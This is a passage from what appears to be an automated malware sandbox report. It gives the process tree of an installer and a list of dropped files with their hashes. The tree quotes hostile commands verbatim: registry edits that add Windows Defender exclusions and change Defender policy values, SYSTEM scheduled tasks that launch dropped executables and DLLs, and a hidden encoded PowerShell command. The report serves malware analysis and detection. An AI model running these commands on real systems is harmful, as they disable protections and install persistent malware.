                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\JiflobLJSPStBDVB /t REG_DWORD /d 0 /reg:32
                                                                                                          3⤵
                                                                                                            PID:5020
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\JiflobLJSPStBDVB /t REG_DWORD /d 0 /reg:64
                                                                                                            3⤵
                                                                                                              PID:3404
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                              3⤵
                                                                                                                PID:4816
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                3⤵
                                                                                                                  PID:2900
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\wAuKxhFMAdiQGsoHy /t REG_DWORD /d 0 /reg:32
                                                                                                                  3⤵
                                                                                                                    PID:4980
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\wAuKxhFMAdiQGsoHy /t REG_DWORD /d 0 /reg:64
                                                                                                                    3⤵
                                                                                                                      PID:4352
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\eogxozCJrYNgvSKM /t REG_DWORD /d 0 /reg:32
                                                                                                                      3⤵
                                                                                                                        PID:3220
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\eogxozCJrYNgvSKM /t REG_DWORD /d 0 /reg:64
                                                                                                                        3⤵
                                                                                                                          PID:4484
                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                        schtasks /CREATE /TN "gczKXGUlY" /SC once /ST 01:18:23 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                        2⤵
                                                                                                                        • Creates scheduled task(s)
                                                                                                                        PID:4848
                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                        schtasks /run /I /tn "gczKXGUlY"
                                                                                                                        2⤵
                                                                                                                          PID:3780
                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                          schtasks /DELETE /F /TN "gczKXGUlY"
                                                                                                                          2⤵
                                                                                                                            PID:2892
                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                            schtasks /CREATE /TN "YjdyicABEfUJyYqxF" /SC once /ST 02:07:58 /RU "SYSTEM" /TR "\"C:\Windows\Temp\eogxozCJrYNgvSKM\yqBNUoJESotNheK\MZhUnIz.exe\" I7 /sksite_idJjK 525403 /S" /V1 /F
                                                                                                                            2⤵
                                                                                                                            • Drops file in Windows directory
                                                                                                                            • Creates scheduled task(s)
                                                                                                                            PID:2396
                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                            schtasks /run /I /tn "YjdyicABEfUJyYqxF"
                                                                                                                            2⤵
                                                                                                                              PID:3356
                                                                                                                            • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                              c:\windows\system32\rundll32.EXE "C:\Windows\Temp\eogxozCJrYNgvSKM\lrkHOdsk\QoKuPcd.dll",#1 /jUsite_ideMZ 525403
                                                                                                                              2⤵
                                                                                                                              • Blocklisted process makes network request
                                                                                                                              • Checks BIOS information in registry
                                                                                                                              • Loads dropped DLL
                                                                                                                              • Drops file in System32 directory
                                                                                                                              • Enumerates system info in registry
                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                              PID:4176
                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                schtasks /DELETE /F /TN "aaSAiCeWTOJWAqakW"
                                                                                                                                3⤵
                                                                                                                                  PID:3700
                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                              1⤵
                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                              PID:5084
                                                                                                                              • C:\Windows\system32\gpupdate.exe
                                                                                                                                "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                2⤵
                                                                                                                                  PID:4540
                                                                                                                              • \??\c:\windows\system32\svchost.exe
                                                                                                                                c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
                                                                                                                                1⤵
                                                                                                                                  PID:1752
                                                                                                                                • \??\c:\windows\system32\gpscript.exe
                                                                                                                                  gpscript.exe /RefreshSystemParam
                                                                                                                                  1⤵
                                                                                                                                    PID:3944
                                                                                                                                  • C:\Windows\Temp\eogxozCJrYNgvSKM\yqBNUoJESotNheK\MZhUnIz.exe
                                                                                                                                    C:\Windows\Temp\eogxozCJrYNgvSKM\yqBNUoJESotNheK\MZhUnIz.exe I7 /sksite_idJjK 525403 /S
                                                                                                                                    1⤵
                                                                                                                                    • Checks computer location settings
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    • Drops Chrome extension
                                                                                                                                    • Drops desktop.ini file(s)
                                                                                                                                    • Drops file in System32 directory
                                                                                                                                    • Drops file in Program Files directory
                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                    PID:2936
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /DELETE /F /TN "bioYAMjDPNiNoqxvcS"
                                                                                                                                      2⤵
                                                                                                                                        PID:4508
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                        2⤵
                                                                                                                                          PID:4124
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                            3⤵
                                                                                                                                              PID:3752
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                            2⤵
                                                                                                                                              PID:1812
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                                3⤵
                                                                                                                                                  PID:4188
                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\TNrIrJXzU\eCbFaT.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "RkwdBuXRacmpEbY" /V1 /F
                                                                                                                                                2⤵
                                                                                                                                                • Drops file in Windows directory
                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                PID:4592
                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                schtasks /CREATE /TN "RkwdBuXRacmpEbY2" /F /xml "C:\Program Files (x86)\TNrIrJXzU\nCSXRSu.xml" /RU "SYSTEM"
                                                                                                                                                2⤵
                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                PID:3748
                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                schtasks /END /TN "RkwdBuXRacmpEbY"
                                                                                                                                                2⤵
                                                                                                                                                  PID:1624
                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                  schtasks /DELETE /F /TN "RkwdBuXRacmpEbY"
                                                                                                                                                  2⤵
                                                                                                                                                    PID:5024
                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                    schtasks /CREATE /TN "ulMIPatxpFafmD" /F /xml "C:\Program Files (x86)\IUaOUdhiTQgU2\kCUohFd.xml" /RU "SYSTEM"
                                                                                                                                                    2⤵
                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                    PID:5100
                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                    schtasks /CREATE /TN "kuMWFrkDPqCqj2" /F /xml "C:\ProgramData\JiflobLJSPStBDVB\OIclcCM.xml" /RU "SYSTEM"
                                                                                                                                                    2⤵
                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                    PID:4916
                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                    schtasks /CREATE /TN "idGglYgIlRbjxykKx2" /F /xml "C:\Program Files (x86)\dACkfQRkXjMlVDtnXZR\MjFCbLg.xml" /RU "SYSTEM"
                                                                                                                                                    2⤵
                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                    PID:3256
                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                    schtasks /CREATE /TN "EvJmcymORqECUgpBZDb2" /F /xml "C:\Program Files (x86)\VgjyoxcUurXmC\cwEpdcx.xml" /RU "SYSTEM"
                                                                                                                                                    2⤵
                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                    PID:652
                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                    schtasks /CREATE /TN "aaSAiCeWTOJWAqakW" /SC once /ST 00:11:33 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\eogxozCJrYNgvSKM\lrkHOdsk\QoKuPcd.dll\",#1 /jUsite_ideMZ 525403" /V1 /F
                                                                                                                                                    2⤵
                                                                                                                                                    • Drops file in Windows directory
                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                    PID:4356
                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                    schtasks /run /I /tn "aaSAiCeWTOJWAqakW"
                                                                                                                                                    2⤵
                                                                                                                                                      PID:3604
                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                      cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                                      2⤵
                                                                                                                                                        PID:4220
                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                          REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                                          3⤵
                                                                                                                                                            PID:2568
                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                          cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                                          2⤵
                                                                                                                                                            PID:2076
                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                              REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                                              3⤵
                                                                                                                                                                PID:4400
                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                              schtasks /DELETE /F /TN "YjdyicABEfUJyYqxF"
                                                                                                                                                              2⤵
                                                                                                                                                                PID:3044
                                                                                                                                                            • \??\c:\windows\system32\rundll32.EXE
                                                                                                                                                              c:\windows\system32\rundll32.EXE "C:\Windows\Temp\eogxozCJrYNgvSKM\lrkHOdsk\QoKuPcd.dll",#1 /jUsite_ideMZ 525403
                                                                                                                                                              1⤵
                                                                                                                                                                PID:2164

                                                                                                                                                              Network

                                                                                                                                                              MITRE ATT&CK Enterprise v15

                                                                                                                                                              Replay Monitor

                                                                                                                                                              Loading Replay Monitor...

                                                                                                                                                              Downloads

                                                                                                                                                              • C:\Program Files (x86)\IUaOUdhiTQgU2\kCUohFd.xml

                                                                                                                                                                Filesize

                                                                                                                                                                2KB

                                                                                                                                                                MD5

                                                                                                                                                                49b8f614bf77842f14684c4349e91505

                                                                                                                                                                SHA1

                                                                                                                                                                f14e64d5d53ce4705e27b79b4d37597f5b9b2528

                                                                                                                                                                SHA256

                                                                                                                                                                8664aaa385ef00669db1f711545de6b1508fdeda6cbf8a516475e7cf13ecc4b8

                                                                                                                                                                SHA512

                                                                                                                                                                3d81721213152e2ef86c04918ac5e3cb6eb8b02afba8785f89bec88a1cbcf35cdc828084db1caec164f9650c8def5f8d597b3962456ae61aa723935f587b0ec5

                                                                                                                                                              • C:\Program Files (x86)\TNrIrJXzU\nCSXRSu.xml

                                                                                                                                                                Filesize

                                                                                                                                                                2KB

                                                                                                                                                                MD5

                                                                                                                                                                053d113bdcd40cad1bcba1843aa56362

                                                                                                                                                                SHA1

                                                                                                                                                                3f81fb5b4d40e27ea8eccdab4cff65477496b711

                                                                                                                                                                SHA256

                                                                                                                                                                dc200262229edca7341d5ce7729db414675a7868d8e33e31ae92299c63a937df

                                                                                                                                                                SHA512

                                                                                                                                                                c95ca3c2872dd1b478262e943fd5de2a38d2a57651113fa6ca4fc4a5b776d01fc361a5f69681d0228685ba008af59536e02f9f308349772df6e6ecb954809c11

                                                                                                                                                              • C:\Program Files (x86)\VgjyoxcUurXmC\cwEpdcx.xml

                                                                                                                                                                Filesize

                                                                                                                                                                2KB

                                                                                                                                                                MD5

                                                                                                                                                                b7b19cfe24b9c5aa8cd4d11a1b9c7392

                                                                                                                                                                SHA1

                                                                                                                                                                f8db4e22b7bcfba85959404f2404731cbcba45c6

                                                                                                                                                                SHA256

                                                                                                                                                                4dad31411f4b7e16b00c11ac73bb14393c52086c2611bdc08168fd95a30bdd2c

                                                                                                                                                                SHA512

                                                                                                                                                                cfd7b86f0c4dcac0bc9ae7570f6ddfe5548d9d249b1edfca8db904ec130ed291b6010cb5de09610c739ceb38189910c2fc3184cc11851b3bc9c955a1213e8dc3

                                                                                                                                                              • C:\Program Files (x86)\dACkfQRkXjMlVDtnXZR\MjFCbLg.xml

                                                                                                                                                                Filesize

                                                                                                                                                                2KB

                                                                                                                                                                MD5

                                                                                                                                                                1c9605c6e6834d8b1429408e6e228993

                                                                                                                                                                SHA1

                                                                                                                                                                9775268d7295ea3a68e68b2c3ed736f8f05eea24

                                                                                                                                                                SHA256

                                                                                                                                                                0b321a80a9d42a1531fb7cf160f89cc73bfb9e5d405efe9934f098d98b565899

                                                                                                                                                                SHA512

                                                                                                                                                                a8fc46ad842dde325b89521768e18c8060668ff7c7f16913a83c0b75aa3bedcf935bf8160e5a2f7bf39362308d1d297b4d12eb5935f01f389052d78e243c0a6c

                                                                                                                                                              • C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi

                                                                                                                                                                Filesize

                                                                                                                                                                1.8MB

                                                                                                                                                                MD5

                                                                                                                                                                cbf080576c13cb51d8eacaa5fa979e6e

                                                                                                                                                                SHA1

                                                                                                                                                                a96b8732edb4cf2b6b4298d8e6f71a048986a7f9

                                                                                                                                                                SHA256

                                                                                                                                                                7feef6a1fc4c831dc4bb28a11d2cbe12755eed26c58174dfa2d9b0318ce0727e

                                                                                                                                                                SHA512

                                                                                                                                                                ddef78b5a53420bda4f19ebea5c0727211e3e29fd27c6c3bf8a180fced6027df22e65f8e19188a438a391315ae5b2c40741e75b0b47759f4d39f37eb9df4de8d

                                                                                                                                                              • C:\ProgramData\JiflobLJSPStBDVB\OIclcCM.xml

                                                                                                                                                                Filesize

                                                                                                                                                                2KB

                                                                                                                                                                MD5

                                                                                                                                                                3737462437bb5766c1eea135d0eb61ee

                                                                                                                                                                SHA1

                                                                                                                                                                3bee7083107cf975a04994d32be33cd18c0c26b6

                                                                                                                                                                SHA256

                                                                                                                                                                9d2d9befe08c7bbadaa5c7faf05a7efe686cc770042c5d06dbf771c50b710e4e

                                                                                                                                                                SHA512

                                                                                                                                                                22a820563a8b4daa8ca392c851a31d86142f30d8222594775d0b7442e0370bac1c9e7b543cddd9e301fe09e9af9201b91b946eaa584e872cfea6ce1c40b49162

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\en_GB\messages.json

                                                                                                                                                                Filesize

                                                                                                                                                                187B

                                                                                                                                                                MD5

                                                                                                                                                                2a1e12a4811892d95962998e184399d8

                                                                                                                                                                SHA1

                                                                                                                                                                55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

                                                                                                                                                                SHA256

                                                                                                                                                                32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

                                                                                                                                                                SHA512

                                                                                                                                                                bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\fa\messages.json

                                                                                                                                                                Filesize

                                                                                                                                                                136B

                                                                                                                                                                MD5

                                                                                                                                                                238d2612f510ea51d0d3eaa09e7136b1

                                                                                                                                                                SHA1

                                                                                                                                                                0953540c6c2fd928dd03b38c43f6e8541e1a0328

                                                                                                                                                                SHA256

                                                                                                                                                                801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

                                                                                                                                                                SHA512

                                                                                                                                                                2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\pt_BR\messages.json

                                                                                                                                                                Filesize

                                                                                                                                                                150B

                                                                                                                                                                MD5

                                                                                                                                                                0b1cf3deab325f8987f2ee31c6afc8ea

                                                                                                                                                                SHA1

                                                                                                                                                                6a51537cef82143d3d768759b21598542d683904

                                                                                                                                                                SHA256

                                                                                                                                                                0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

                                                                                                                                                                SHA512

                                                                                                                                                                5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                                                                                                                                                Filesize

                                                                                                                                                                10KB

                                                                                                                                                                MD5

                                                                                                                                                                35e68058b55b6f696330235b85bd52c5

                                                                                                                                                                SHA1

                                                                                                                                                                ed5ee5a5d09aa156c4b363307b6b03158deb3578

                                                                                                                                                                SHA256

                                                                                                                                                                45ff84f14d5d8690262c637a29828b53950e5391355f541c08045df36f2805b4

                                                                                                                                                                SHA512

                                                                                                                                                                b9019a50dd6fbb870814d48a9e2004b0558552c3a1bf047fb1bb603fa76e6e5ca35870221cd5233ed8c6c908523269ac21e61685353b3141534269dad2093531

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

                                                                                                                                                                Filesize

                                                                                                                                                                28KB

                                                                                                                                                                MD5

                                                                                                                                                                478e420c8ad821715f7745dfac22e080

                                                                                                                                                                SHA1

                                                                                                                                                                27cd58342cd957c2e0ef404c247fd4eb22ac46c4

                                                                                                                                                                SHA256

                                                                                                                                                                5556a3e3a9d078975ebd215cedf3082a639e1a3e2805f6289bf8b9814120405a

                                                                                                                                                                SHA512

                                                                                                                                                                b084236211410328421bc609ccbd39d8af6f5c210a7aeaab95f6ab1bd3d5a64591a62ace4aa26a8ba3f470345ca711b4f19d7551a5ed20b37eaaeb40bcf21c82

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log

                                                                                                                                                                Filesize

                                                                                                                                                                3KB

                                                                                                                                                                MD5

                                                                                                                                                                e9b877cbebdba6a332b76a063ac66a1f

                                                                                                                                                                SHA1

                                                                                                                                                                062e17f825bdc8e12c5275b8245c8eac39a16649

                                                                                                                                                                SHA256

                                                                                                                                                                1acc0827438e2d9c893bd886d1982cdb76c9b598b991c16a74289390d4535bcb

                                                                                                                                                                SHA512

                                                                                                                                                                eac7e45742eb6d9b16538adb81f399b4298d9f0c5442bd47d58783920682046abe36c0c8a3f449230c67321eb62154ffe3f26b47bca5c8de3aa4099aa8fe4eb7

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                Filesize

                                                                                                                                                                1KB

                                                                                                                                                                MD5

                                                                                                                                                                c04b3bb7552d416e6f19e56375eb563e

                                                                                                                                                                SHA1

                                                                                                                                                                b264da3f8b571b457efa386d34e37a098c2d45ed

                                                                                                                                                                SHA256

                                                                                                                                                                09c4d5b0244f36034b8c54eecc4f187aeea2eae4164bd142cebc12d850002e79

                                                                                                                                                                SHA512

                                                                                                                                                                7dab1a8eaedf5da9dd345a7eb80468ece9c850120e6b95013066fcd7c063dc2a2413d2a332d5be4e4da2b4d59be3ed47d306b3793476ead19b781ca781dcd48d

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSBA09.tmp\Install.exe

                                                                                                                                                                Filesize

                                                                                                                                                                6.1MB

                                                                                                                                                                MD5

                                                                                                                                                                6bf7a763cab111cf2e698bdea1f4b00f

                                                                                                                                                                SHA1

                                                                                                                                                                b756a811ecf6c44a9d438e476fa8f91352d77b77

                                                                                                                                                                SHA256

                                                                                                                                                                cea934a3aa448485f5e226f1449929a6335c32058d9edd1e973cd55e5cc726fe

                                                                                                                                                                SHA512

                                                                                                                                                                8bd9e8255a45a7283bc5bd12a775d2d8eb5ab698ef00dc2be7877fcdb0402f012f63a193aeb68e62cc8606c9bd5315a875d8f2efb3bd8bd2cdf5d733786af84d

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSBA09.tmp\Install.exe

                                                                                                                                                                Filesize

                                                                                                                                                                6.1MB

                                                                                                                                                                MD5

                                                                                                                                                                6bf7a763cab111cf2e698bdea1f4b00f

                                                                                                                                                                SHA1

                                                                                                                                                                b756a811ecf6c44a9d438e476fa8f91352d77b77

                                                                                                                                                                SHA256

                                                                                                                                                                cea934a3aa448485f5e226f1449929a6335c32058d9edd1e973cd55e5cc726fe

                                                                                                                                                                SHA512

                                                                                                                                                                8bd9e8255a45a7283bc5bd12a775d2d8eb5ab698ef00dc2be7877fcdb0402f012f63a193aeb68e62cc8606c9bd5315a875d8f2efb3bd8bd2cdf5d733786af84d

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSBB70.tmp\Install.exe

                                                                                                                                                                Filesize

                                                                                                                                                                7.0MB

                                                                                                                                                                MD5

                                                                                                                                                                a6546ff1f33da64dd1b6ce8602e87235

                                                                                                                                                                SHA1

                                                                                                                                                                10359c292d3cb88053a51e9d3886655c6989e906

                                                                                                                                                                SHA256

                                                                                                                                                                12753349b877d0a356c7704ffd7455bf56984a82ab7bc7b92eac813477d4359c

                                                                                                                                                                SHA512

                                                                                                                                                                3fc09561318c4de17ea160701a1343155f5898a341cb6a0428b50a4c894b27b16603ecc77d238b49c3fda27d1cfb8298c0d4bd1c15db1d97fabc83f8926f7c4a

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSBB70.tmp\Install.exe

                                                                                                                                                                Filesize

                                                                                                                                                                7.0MB

                                                                                                                                                                MD5

                                                                                                                                                                a6546ff1f33da64dd1b6ce8602e87235

                                                                                                                                                                SHA1

                                                                                                                                                                10359c292d3cb88053a51e9d3886655c6989e906

                                                                                                                                                                SHA256

                                                                                                                                                                12753349b877d0a356c7704ffd7455bf56984a82ab7bc7b92eac813477d4359c

                                                                                                                                                                SHA512

                                                                                                                                                                3fc09561318c4de17ea160701a1343155f5898a341cb6a0428b50a4c894b27b16603ecc77d238b49c3fda27d1cfb8298c0d4bd1c15db1d97fabc83f8926f7c4a

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xgm22ugt.vlu.ps1

                                                                                                                                                                Filesize

                                                                                                                                                                1B

                                                                                                                                                                MD5

                                                                                                                                                                c4ca4238a0b923820dcc509a6f75849b

                                                                                                                                                                SHA1

                                                                                                                                                                356a192b7913b04c54574d18c28d46e6395428ab

                                                                                                                                                                SHA256

                                                                                                                                                                6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

                                                                                                                                                                SHA512

                                                                                                                                                                4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\wAuKxhFMAdiQGsoHy\SofgVcoVSWNQWUG\PCRACmz.exe

                                                                                                                                                                Filesize

                                                                                                                                                                7.0MB

                                                                                                                                                                MD5

                                                                                                                                                                a6546ff1f33da64dd1b6ce8602e87235

                                                                                                                                                                SHA1

                                                                                                                                                                10359c292d3cb88053a51e9d3886655c6989e906

                                                                                                                                                                SHA256

                                                                                                                                                                12753349b877d0a356c7704ffd7455bf56984a82ab7bc7b92eac813477d4359c

                                                                                                                                                                SHA512

                                                                                                                                                                3fc09561318c4de17ea160701a1343155f5898a341cb6a0428b50a4c894b27b16603ecc77d238b49c3fda27d1cfb8298c0d4bd1c15db1d97fabc83f8926f7c4a

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\wAuKxhFMAdiQGsoHy\SofgVcoVSWNQWUG\PCRACmz.exe

                                                                                                                                                                Filesize

                                                                                                                                                                7.0MB

                                                                                                                                                                MD5

                                                                                                                                                                a6546ff1f33da64dd1b6ce8602e87235

                                                                                                                                                                SHA1

                                                                                                                                                                10359c292d3cb88053a51e9d3886655c6989e906

                                                                                                                                                                SHA256

                                                                                                                                                                12753349b877d0a356c7704ffd7455bf56984a82ab7bc7b92eac813477d4359c

                                                                                                                                                                SHA512

                                                                                                                                                                3fc09561318c4de17ea160701a1343155f5898a341cb6a0428b50a4c894b27b16603ecc77d238b49c3fda27d1cfb8298c0d4bd1c15db1d97fabc83f8926f7c4a

                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\1foor6be.default-release\prefs.js

                                                                                                                                                                Filesize

                                                                                                                                                                7KB

                                                                                                                                                                MD5

                                                                                                                                                                b10863c1981a7fefa9e7583300a3c869

                                                                                                                                                                SHA1

                                                                                                                                                                b8265db506c9b37a6483b2825a1f3f7de7436371

                                                                                                                                                                SHA256

                                                                                                                                                                1ceb21899c05f3f1945d34cd4a7cd544e3ae86632ff4c080e25e8ec5b58ddccb

                                                                                                                                                                SHA512

                                                                                                                                                                279da3b5ecfde3c9f114f8fcb9d4afbf87110387720087d9580f74046114c830f3fc42625b79b2dc03a756fad93a804aae4137a29ab4aadfc4326bfc3fd2ab1e

                                                                                                                                                              • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                                                                                Filesize

                                                                                                                                                                1KB

                                                                                                                                                                MD5

                                                                                                                                                                0f5cbdca905beb13bebdcf43fb0716bd

                                                                                                                                                                SHA1

                                                                                                                                                                9e136131389fde83297267faf6c651d420671b3f

                                                                                                                                                                SHA256

                                                                                                                                                                a99135d86804f5cf8aaeb5943c1929bd1458652a3318ab8c01aee22bb4991060

                                                                                                                                                                SHA512

                                                                                                                                                                a41d2939473cffcb6beb8b58b499441d16da8bcc22972d53b8b699b82a7dc7be0db39bcd2486edd136294eb3f1c97ddd27b2a9ff45b831579cba6896d1f776b0

                                                                                                                                                              • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                Filesize

                                                                                                                                                                12KB

                                                                                                                                                                MD5

                                                                                                                                                                96ca89a3a58e1cf4b0f9cafdebf42988

                                                                                                                                                                SHA1

